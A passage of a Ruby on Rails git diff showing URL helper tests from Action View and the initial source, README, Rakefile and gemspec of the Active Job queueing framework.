+ link_to_unless_current("Showing", "http://www.example.com/")
+
+ @request = request_for_url("/?order=desc")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", url_hash)
+ assert_equal "Showing",
+ link_to_unless_current("Showing", "http://www.example.com/")
+
+ @request = request_for_url("/?order=desc&page=1")
+
+ assert_equal "Showing",
+ link_to_unless_current("Showing", hash_for(order: 'desc', page: '1'))
+ assert_equal "Showing",
+ link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
+
+ @request = request_for_url("/?order=desc")
+
+ assert_equal %{<a href="/?order=asc">Showing</a>},
+ link_to_unless_current("Showing", hash_for(order: :asc))
+ assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
+ link_to_unless_current("Showing", "http://www.example.com/?order=asc")
+
+ @request = request_for_url("/?order=desc")
+ assert_equal %{<a href="/?order=desc&amp;page=2\">Showing</a>},
+ link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
+ assert_equal %{<a href="http://www.example.com/?order=desc&amp;page=2">Showing</a>},
+ link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
+
+ @request = request_for_url("/show")
+
+ assert_equal %{<a href="/">Listing</a>},
+ link_to_unless_current("Listing", url_hash)
+ assert_equal %{<a href="http://www.example.com/">Listing</a>},
+ link_to_unless_current("Listing", "http://www.example.com/")
+ end
+
+ def test_mail_to
+ assert_dom_equal %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>}, mail_to("david@loudthinking.com")
+ assert_dom_equal %{<a href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david@loudthinking.com", "David Heinemeier Hansson")
+ assert_dom_equal(
+ %{<a class="admin" href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>},
+ mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
+ )
+ assert_equal mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
+ mail_to("david@loudthinking.com", "David Heinemeier Hansson", class: "admin")
+ end
+
+ def test_mail_with_options
+ assert_dom_equal(
+ %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>},
+ mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.")
+ )
+ end
+
+ def test_mail_to_with_img
+ assert_dom_equal %{<a href="mailto:feedback@example.com"><img src="/feedback.png" /></a>},
+ mail_to('feedback@example.com', '<img src="/feedback.png" />'.html_safe)
+ end
+
+ def test_mail_to_returns_html_safe_string
+ assert mail_to("david@loudthinking.com").html_safe?
+ end
+
+ def test_mail_to_with_block
+ assert_dom_equal %{<a href="mailto:me@example.com"><span>Email me</span></a>},
+ mail_to('me@example.com') { content_tag(:span, 'Email me') }
+ end
+
+ def test_mail_to_with_block_and_options
+ assert_dom_equal %{<a class="special" href="mailto:me@example.com?cc=ccaddress%40example.com"><span>Email me</span></a>},
+ mail_to('me@example.com', cc: "ccaddress@example.com", class: "special") { content_tag(:span, 'Email me') }
+ end
+
+ def test_mail_to_does_not_modify_html_options_hash
+ options = { class: 'special' }
+ mail_to 'me@example.com', 'ME!', options
+ assert_equal({ class: 'special' }, options)
+ end
+
+ def protect_against_forgery?
+ self.request_forgery
+ end
+
+ def form_authenticity_token
+ "secret"
+ end
+
+ def request_forgery_protection_token
+ "form_token"
+ end
+
+ private
+ def sort_query_string_params(uri)
+ path, qs = uri.split('?')
+ qs = qs.split('&amp;').sort.join('&amp;') if qs
+ qs ? "#{path}?#{qs}" : path
+ end
+end
+
+class UrlHelperControllerTest < ActionController::TestCase
+ class UrlHelperController < ActionController::Base
+ test_routes do
+ get 'url_helper_controller_test/url_helper/show/:id',
+ to: 'url_helper_controller_test/url_helper#show',
+ as: :show
+
+ get 'url_helper_controller_test/url_helper/profile/:name',
+ to: 'url_helper_controller_test/url_helper#show',
+ as: :profile
+
+ get 'url_helper_controller_test/url_helper/show_named_route',
+ to: 'url_helper_controller_test/url_helper#show_named_route',
+ as: :show_named_route
+
+ get "/:controller(/:action(/:id))"
+
+ get 'url_helper_controller_test/url_helper/normalize_recall_params',
+ to: UrlHelperController.action(:normalize_recall),
+ as: :normalize_recall_params
+
+ get '/url_helper_controller_test/url_helper/override_url_helper/default',
+ to: 'url_helper_controller_test/url_helper#override_url_helper',
+ as: :override_url_helper
+ end
+
+ def show
+ if params[:name]
+ render inline: 'ok'
+ else
+ redirect_to profile_path(params[:id])
+ end
+ end
+
+ def show_url_for
+ render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
+ end
+
+ def show_overridden_url_for
+ render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>"
+ end
+
+ def show_named_route
+ render inline: "<%= show_named_route_#{params[:kind]} %>"
+ end
+
+ def nil_url_for
+ render inline: '<%= url_for(nil) %>'
+ end
+
+ def normalize_recall_params
+ render inline: '<%= normalize_recall_params_path %>'
+ end
+
+ def recall_params_not_changed
+ render inline: '<%= url_for(action: :show_url_for) %>'
+ end
+
+ def override_url_helper
+ render inline: '<%= override_url_helper_path %>'
+ end
+
+ def override_url_helper_path
+ '/url_helper_controller_test/url_helper/override_url_helper/override'
+ end
+ helper_method :override_url_helper_path
+ end
+
+ tests UrlHelperController
+
+ def test_url_for_shows_only_path
+ get :show_url_for
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_overridden_url_for_shows_only_path
+ get :show_overridden_url_for
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_named_route_url_shows_host_and_path
+ get :show_named_route, kind: 'url'
+ assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
+ @response.body
+ end
+
+ def test_named_route_path_shows_only_path
+ get :show_named_route, kind: 'path'
+ assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
+ end
+
+ def test_url_for_nil_returns_current_path
+ get :nil_url_for
+ assert_equal '/url_helper_controller_test/url_helper/nil_url_for', @response.body
+ end
+
+ def test_named_route_should_show_host_and_path_using_controller_default_url_options
+ class << @controller
+ def default_url_options
+ { host: 'testtwo.host' }
+ end
+ end
+
+ get :show_named_route, kind: 'url'
+ assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
+ end
+
+ def test_recall_params_should_be_normalized
+ get :normalize_recall_params
+ assert_equal '/url_helper_controller_test/url_helper/normalize_recall_params', @response.body
+ end
+
+ def test_recall_params_should_not_be_changed
+ get :recall_params_not_changed
+ assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
+ end
+
+ def test_recall_params_should_normalize_id
+ get :show, id: '123'
+ assert_equal 302, @response.status
+ assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
+
+ get :show, name: '123'
+ assert_equal 'ok', @response.body
+ end
+
+ def test_url_helper_can_be_overridden
+ get :override_url_helper
+ assert_equal '/url_helper_controller_test/url_helper/override_url_helper/override', @response.body
+ end
+end
+
+class TasksController < ActionController::Base
+ test_routes do
+ resources :tasks
+ end
+
+ def index
+ render_default
+ end
+
+ def show
+ render_default
+ end
+
+ protected
+ def render_default
+ render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" +
+ "<%= link_to_unless_current('tasks', tasks_url) %>"
+ end
+end
+
+class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
+ tests TasksController
+
+ def test_link_to_unless_current_to_current
+ get :index
+ assert_equal "tasks\ntasks", @response.body
+ end
+
+ def test_link_to_unless_current_shows_link
+ get :show, id: 1
+ assert_equal %{<a href="/tasks">tasks</a>\n} +
+ %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
+ @response.body
+ end
+end
+
+class Session
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id, :workshop_id
+
+ def initialize(id)
+ @id = id
+ end
+
+ def persisted?
+ id.present?
+ end
+
+ def to_s
+ id.to_s
+ end
+end
+
+class WorkshopsController < ActionController::Base
+ test_routes do
+ resources :workshops do
+ resources :sessions
+ end
+ end
+
+ def index
+ @workshop = Workshop.new(nil)
+ render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+ end
+
+ def show
+ @workshop = Workshop.new(params[:id])
+ render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
+ end
+end
+
+class SessionsController < ActionController::Base
+ test_routes do
+ resources :workshops do
+ resources :sessions
+ end
+ end
+
+ def index
+ @workshop = Workshop.new(params[:workshop_id])
+ @session = Session.new(nil)
+ render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+ end
+
+ def show
+ @workshop = Workshop.new(params[:workshop_id])
+ @session = Session.new(params[:id])
+ render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
+ end
+end
+
+class PolymorphicControllerTest < ActionController::TestCase
+ def test_new_resource
+ @controller = WorkshopsController.new
+
+ get :index
+ assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
+ end
+
+ def test_existing_resource
+ @controller = WorkshopsController.new
+
+ get :show, id: 1
+ assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
+ end
+
+ def test_new_nested_resource
+ @controller = SessionsController.new
+
+ get :index, workshop_id: 1
+ assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
+ end
+
+ def test_existing_nested_resource
+ @controller = SessionsController.new
+
+ get :show, workshop_id: 1, id: 1
+ assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
+ end
+end
diff --git a/guides/code/getting_started/app/models/.gitkeep b/actionview/test/tmp/.gitkeep
index e69de29bb2..e69de29bb2 100644
--- a/guides/code/getting_started/app/models/.gitkeep
+++ b/actionview/test/tmp/.gitkeep
diff --git a/activejob/.gitignore b/activejob/.gitignore
new file mode 100644
index 0000000000..b3aaf55871
--- /dev/null
+++ b/activejob/.gitignore
@@ -0,0 +1 @@
+test/dummy
diff --git a/activejob/CHANGELOG.md b/activejob/CHANGELOG.md
new file mode 100644
index 0000000000..f9c481998e
--- /dev/null
+++ b/activejob/CHANGELOG.md
@@ -0,0 +1 @@
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activejob/CHANGELOG.md) for previous changes.
diff --git a/activejob/MIT-LICENSE b/activejob/MIT-LICENSE
new file mode 100644
index 0000000000..8b1e97b776
--- /dev/null
+++ b/activejob/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2014 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/activejob/README.md b/activejob/README.md
new file mode 100644
index 0000000000..8c83d3669a
--- /dev/null
+++ b/activejob/README.md
@@ -0,0 +1,131 @@
+# Active Job -- Make work happen later
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queueing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up into
+small units of work and run in parallel, really.
+
+It also serves as the backend for Action Mailer's #deliver_later functionality
+that makes it easy to turn any mailing into a job for running later. That's
+one of the most common jobs in a modern web application: Sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it.
+
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place, even if it's in the form of an "immediate runner". We can then have
+framework features and other gems build on top of that, without having to worry
+about API differences between Delayed Job and Resque. Picking your queuing
+backend becomes more of an operational concern, then. And you'll be able to
+switch between them without having to rewrite your jobs.
+
+
+## Usage
+
+Set the queue adapter for Active Job:
+
+``` ruby
+ActiveJob::Base.queue_adapter = :inline # default queue adapter
+```
+Note: To learn how to use your preferred queueing backend see its adapter
+documentation at
+[ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+Declare a job like so:
+
+```ruby
+class MyJob < ActiveJob::Base
+ queue_as :my_jobs
+
+ def perform(record)
+ record.do_work
+ end
+end
+```
+
+Enqueue a job like so:
+
+```ruby
+MyJob.perform_later record # Enqueue a job to be performed as soon the queueing system is free.
+```
+
+```ruby
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record) # Enqueue a job to be performed tomorrow at noon.
+```
+
+```ruby
+MyJob.set(wait: 1.week).perform_later(record) # Enqueue a job to be performed 1 week from now.
+```
+
+That's it!
+
+
+## GlobalID support
+
+Active Job supports [GlobalID serialization](https://github.com/rails/globalid/) for parameters. This makes it possible
+to pass live Active Record objects to your job instead of class/id pairs, which
+you then have to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob
+ def perform(trashable_class, trashable_id, depth)
+ trashable = trashable_class.constantize.find(trashable_id)
+ trashable.cleanup(depth)
+ end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob
+ def perform(trashable, depth)
+ trashable.cleanup(depth)
+ end
+end
+```
+
+This works with any class that mixes in GlobalID::Identification, which
+by default has been mixed into Active Record classes.
+
+
+## Supported queueing systems
+
+Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+## Auxiliary gems
+
+* [activejob-stats](https://github.com/seuros/activejob-stats)
+
+## Download and installation
+
+The latest version of Active Job can be installed with RubyGems:
+
+```
+ % [sudo] gem install activejob
+```
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/activejob
+
+## License
+
+Active Job is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+## Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/activejob/Rakefile b/activejob/Rakefile
new file mode 100644
index 0000000000..7e66860b36
--- /dev/null
+++ b/activejob/Rakefile
@@ -0,0 +1,90 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+ACTIVEJOB_ADAPTERS = %w(inline delayed_job qu que queue_classic resque sidekiq sneakers sucker_punch backburner)
+ACTIVEJOB_ADAPTERS -= %w(queue_classic) if defined?(JRUBY_VERSION)
+
+task default: :test
+task test: 'test:default'
+
+namespace :test do
+ desc 'Run all adapter tests'
+ task :default do
+ run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:#{a}" }
+ end
+
+ desc 'Run all adapter tests in isolation'
+ task :isolated do
+ run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:isolated:#{a}" }
+ end
+
+ desc 'Run integration tests for all adapters'
+ task :integration do
+ run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:integration:#{a}" }
+ end
+
+ task 'env:integration' do
+ ENV['AJ_INTEGRATION_TESTS'] = "1"
+ end
+
+ ACTIVEJOB_ADAPTERS.each do |adapter|
+ task("env:#{adapter}") { ENV['AJADAPTER'] = adapter }
+
+ Rake::TestTask.new(adapter => "test:env:#{adapter}") do |t|
+ t.description = "Run adapter tests for #{adapter}"
+ t.libs << 'test'
+ t.test_files = FileList['test/cases/**/*_test.rb']
+ t.verbose = true
+ t.warning = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ end
+
+ namespace :isolated do
+ task adapter => "test:env:#{adapter}" do
+ dir = File.dirname(__FILE__)
+ Dir.glob("#{dir}/test/cases/**/*_test.rb").all? do |file|
+ sh(Gem.ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+ end or raise 'Failures'
+ end
+ end
+
+ namespace :integration do
+ Rake::TestTask.new(adapter => ["test:env:#{adapter}", 'test:env:integration']) do |t|
+ t.description = "Run integration tests for #{adapter}"
+ t.libs << 'test'
+ t.test_files = FileList['test/integration/**/*_test.rb']
+ t.verbose = true
+ t.warning = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+ end
+ end
+ end
+end
+
+def run_without_aborting(tasks)
+ errors = []
+
+ tasks.each do |task|
+ begin
+ Rake::Task[task].invoke
+ rescue Exception
+ errors << task
+ end
+ end
+
+ abort "Errors running #{errors.join(', ')}" if errors.any?
+end
+
+
+spec = eval(File.read('activejob.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc 'Release to rubygems'
+task release: :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/activejob/activejob.gemspec b/activejob/activejob.gemspec
new file mode 100644
index 0000000000..f6c8bc1682
--- /dev/null
+++ b/activejob/activejob.gemspec
@@ -0,0 +1,23 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'activejob'
+ s.version = version
+ s.summary = 'Job framework with pluggable queues.'
+ s.description = 'Declare job classes that can be run by a variety of queueing backends.'
+
+ s.required_ruby_version = '>= 2.1.0'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david@loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.md', 'lib/**/*']
+ s.require_path = 'lib'
+
+ s.add_dependency 'activesupport', version
+ s.add_dependency 'globalid', '>= 0.3.0'
+end
diff --git a/activejob/lib/active_job.rb b/activejob/lib/active_job.rb
new file mode 100644
index 0000000000..1b582f5877
--- /dev/null
+++ b/activejob/lib/active_job.rb
@@ -0,0 +1,37 @@
+#--
+# Copyright (c) 2014 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'active_job/version'
+require 'global_id'
+
+module ActiveJob
+ extend ActiveSupport::Autoload
+
+ autoload :Base
+ autoload :QueueAdapters
+ autoload :ConfiguredJob
+ autoload :TestCase
+ autoload :TestHelper
+end
diff --git a/activejob/lib/active_job/arguments.rb b/activejob/lib/active_job/arguments.rb
new file mode 100644
index 0000000000..e2c076eb3f
--- /dev/null
+++ b/activejob/lib/active_job/arguments.rb
@@ -0,0 +1,111 @@
+module ActiveJob
+ # Raised when an exception is raised during job arguments deserialization.
+ #
+ # Wraps the original exception raised as +original_exception+.
+ class DeserializationError < StandardError
+ attr_reader :original_exception
+
+ def initialize(e) #:nodoc:
+ super("Error while trying to deserialize arguments: #{e.message}")
+ @original_exception = e
+ set_backtrace e.backtrace
+ end
+ end
+
+ # Raised when an unsupported argument type is being set as job argument. We
+ # currently support NilClass, Fixnum, Float, String, TrueClass, FalseClass,
+ # Bignum and object that can be represented as GlobalIDs (ex: Active Record).
+ # Also raised if you set the key for a Hash something else than a string or
+ # a symbol.
+ class SerializationError < ArgumentError
+ end
+
+ module Arguments
+ extend self
+ TYPE_WHITELIST = [ NilClass, Fixnum, Float, String, TrueClass, FalseClass, Bignum ]
+
+ # Serializes a set of arguments. Whitelisted types are returned
+ # as-is. Arrays/Hashes are serialized element by element.
+ # All other types are serialized using GlobalID.
+ def serialize(arguments)
+ arguments.map { |argument| serialize_argument(argument) }
+ end
+
+ # Deserializes a set of arguments. Whitelisted types are returned
+ # as-is. Arrays/Hashes are deserialized element by element.
+ # All other types are deserialized using GlobalID.
+ def deserialize(arguments)
+ arguments.map { |argument| deserialize_argument(argument) }
+ rescue => e
+ raise DeserializationError.new(e)
+ end
+
+ private
+ GLOBALID_KEY = '_aj_globalid'.freeze
+ private_constant :GLOBALID_KEY
+
+ def serialize_argument(argument)
+ case argument
+ when *TYPE_WHITELIST
+ argument
+ when GlobalID::Identification
+ { GLOBALID_KEY => argument.to_global_id.to_s }
+ when Array
+ argument.map { |arg| serialize_argument(arg) }
+ when Hash
+ argument.each_with_object({}) do |(key, value), hash|
+ hash[serialize_hash_key(key)] = serialize_argument(value)
+ end
+ else
+ raise SerializationError.new("Unsupported argument type: #{argument.class.name}")
+ end
+ end
+
+ def deserialize_argument(argument)
+ case argument
+ when String
+ GlobalID::Locator.locate(argument) || argument
+ when *TYPE_WHITELIST
+ argument
+ when Array
+ argument.map { |arg| deserialize_argument(arg) }
+ when Hash
+ if serialized_global_id?(argument)
+ deserialize_global_id argument
+ else
+ deserialize_hash argument
+ end
+ else
+ raise ArgumentError, "Can only deserialize primitive arguments: #{argument.inspect}"
+ end
+ end
+
+ def serialized_global_id?(hash)
+ hash.size == 1 and hash.include?(GLOBALID_KEY)
+ end
+
+ def deserialize_global_id(hash)
+ GlobalID::Locator.locate hash[GLOBALID_KEY]
+ end
+
+ def deserialize_hash(serialized_hash)
+ serialized_hash.each_with_object({}.with_indifferent_access) do |(key, value), hash|
+ hash[key] = deserialize_argument(value)
+ end
+ end
+
+ RESERVED_KEYS = [GLOBALID_KEY, GLOBALID_KEY.to_sym]
+ private_constant :RESERVED_KEYS
+
+ def serialize_hash_key(key)
+ case key
+ when *RESERVED_KEYS
+ raise SerializationError.new("Can't serialize a Hash with reserved key #{key.inspect}")
+ when String, Symbol
+ key.to_s
+ else
+ raise SerializationError.new("Only string and symbol hash keys may be serialized as job arguments, but #{key.inspect} is a #{key.class}")
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/base.rb b/activejob/lib/active_job/base.rb
new file mode 100644
index 0000000000..fd49b3fda5
--- /dev/null
+++ b/activejob/lib/active_job/base.rb
@@ -0,0 +1,66 @@
+require 'active_job/core'
+require 'active_job/queue_adapter'
+require 'active_job/queue_name'
+require 'active_job/enqueuing'
+require 'active_job/execution'
+require 'active_job/callbacks'
+require 'active_job/logging'
+
+module ActiveJob #:nodoc:
+ # = Active Job
+ #
+ # Active Job objects can be configured to work with different backend
+ # queuing frameworks. To specify a queue adapter to use:
+ #
+ # ActiveJob::Base.queue_adapter = :inline
+ #
+ # A list of supported adapters can be found in QueueAdapters.
+ #
+ # Active Job objects can be defined by creating a class that inherits
+ # from the ActiveJob::Base class. The only necessary method to
+ # implement is the "perform" method.
+ #
+ # To define an Active Job object:
+ #
+ # class ProcessPhotoJob < ActiveJob::Base
+ # def perform(photo)
+ # photo.watermark!('Rails')
+ # photo.rotate!(90.degrees)
+ # photo.resize_to_fit!(300, 300)
+ # photo.upload!
+ # end
+ # end
+ #
+ # Records that are passed in are serialized/deserialized using Global
+ # ID. More information can be found in Arguments.
+ #
+ # To enqueue a job to be performed as soon the queueing system is free:
+ #
+ # ProcessPhotoJob.perform_later(photo)
+ #
+ # To enqueue a job to be processed at some point in the future:
+ #
+ # ProcessPhotoJob.set(wait_until: Date.tomorrow.noon).perform_later(photo)
+ #
+ # More information can be found in ActiveJob::Core::ClassMethods#set
+ #
+ # A job can also be processed immediately without sending to the queue:
+ #
+ # ProcessPhotoJob.perform_now(photo)
+ #
+ # == Exceptions
+ #
+ # * DeserializationError - Error class for deserialization errors.
+ # * SerializationError - Error class for serialization errors.
+ class Base
+ include Core
+ include QueueAdapter
+ include QueueName
+ include Enqueuing
+ include Execution
+ include Callbacks
+ include Logging
+
+ ActiveSupport.run_load_hooks(:active_job, self)
+ end
+end
diff --git a/activejob/lib/active_job/callbacks.rb b/activejob/lib/active_job/callbacks.rb
new file mode 100644
index 0000000000..c4ceb484cc
--- /dev/null
+++ b/activejob/lib/active_job/callbacks.rb
@@ -0,0 +1,146 @@
+require 'active_support/callbacks'
+
+module ActiveJob
+ # = Active Job Callbacks
+ #
+ # Active Job provides hooks during the lifecycle of a job. Callbacks allow you
+ # to trigger logic during the lifecycle of a job. Available callbacks are:
+ #
+ # * <tt>before_enqueue</tt>
+ # * <tt>around_enqueue</tt>
+ # * <tt>after_enqueue</tt>
+ # * <tt>before_perform</tt>
+ # * <tt>around_perform</tt>
+ # * <tt>after_perform</tt>
+ #
+ module Callbacks
+ extend ActiveSupport::Concern
+ include ActiveSupport::Callbacks
+
+ included do
+ define_callbacks :perform
+ define_callbacks :enqueue
+ end
+
+ # These methods will be included into any Active Job object, adding
+ # callbacks for +perform+ and +enqueue+ methods.
+ module ClassMethods
+ # Defines a callback that will get called right before the
+ # job's perform method is executed.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # before_perform do |job|
+ # UserMailer.notify_video_started_processing(job.arguments.first)
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def before_perform(*filters, &blk)
+ set_callback(:perform, :before, *filters, &blk)
+ end
+
+ # Defines a callback that will get called right after the
+ # job's perform method has finished.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # after_perform do |job|
+ # UserMailer.notify_video_processed(job.arguments.first)
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def after_perform(*filters, &blk)
+ set_callback(:perform, :after, *filters, &blk)
+ end
+
+ # Defines a callback that will get called around the job's perform method.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # around_perform do |job, block|
+ # UserMailer.notify_video_started_processing(job.arguments.first)
+ # block.call
+ # UserMailer.notify_video_processed(job.arguments.first)
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def around_perform(*filters, &blk)
+ set_callback(:perform, :around, *filters, &blk)
+ end
+
+ # Defines a callback that will get called right before the
+ # job is enqueued.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # before_enqueue do |job|
+ # $statsd.increment "enqueue-video-job.try"
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def before_enqueue(*filters, &blk)
+ set_callback(:enqueue, :before, *filters, &blk)
+ end
+
+ # Defines a callback that will get called right after the
+ # job is enqueued.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # after_enqueue do |job|
+ # $statsd.increment "enqueue-video-job.success"
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def after_enqueue(*filters, &blk)
+ set_callback(:enqueue, :after, *filters, &blk)
+ end
+
+ # Defines a callback that will get called before and after the
+ # job is enqueued.
+ #
+ # class VideoProcessJob < ActiveJob::Base
+ # queue_as :default
+ #
+ # around_enqueue do |job, block|
+ # $statsd.time "video-job.process" do
+ # block.call
+ # end
+ # end
+ #
+ # def perform(video_id)
+ # Video.find(video_id).process
+ # end
+ # end
+ #
+ def around_enqueue(*filters, &blk)
+ set_callback(:enqueue, :around, *filters, &blk)
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/configured_job.rb b/activejob/lib/active_job/configured_job.rb
new file mode 100644
index 0000000000..979280b910
--- /dev/null
+++ b/activejob/lib/active_job/configured_job.rb
@@ -0,0 +1,16 @@
+module ActiveJob
+ class ConfiguredJob #:nodoc:
+ def initialize(job_class, options={})
+ @options = options
+ @job_class = job_class
+ end
+
+ def perform_now(*args)
+ @job_class.new(*args).perform_now
+ end
+
+ def perform_later(*args)
+ @job_class.new(*args).enqueue @options
+ end
+ end
+end
diff --git a/activejob/lib/active_job/core.rb b/activejob/lib/active_job/core.rb
new file mode 100644
index 0000000000..a0e55a0028
--- /dev/null
+++ b/activejob/lib/active_job/core.rb
@@ -0,0 +1,88 @@
+module ActiveJob
+ module Core
+ extend ActiveSupport::Concern
+
+ included do
+ # Job arguments
+ attr_accessor :arguments
+ attr_writer :serialized_arguments
+
+ # Timestamp when the job should be performed
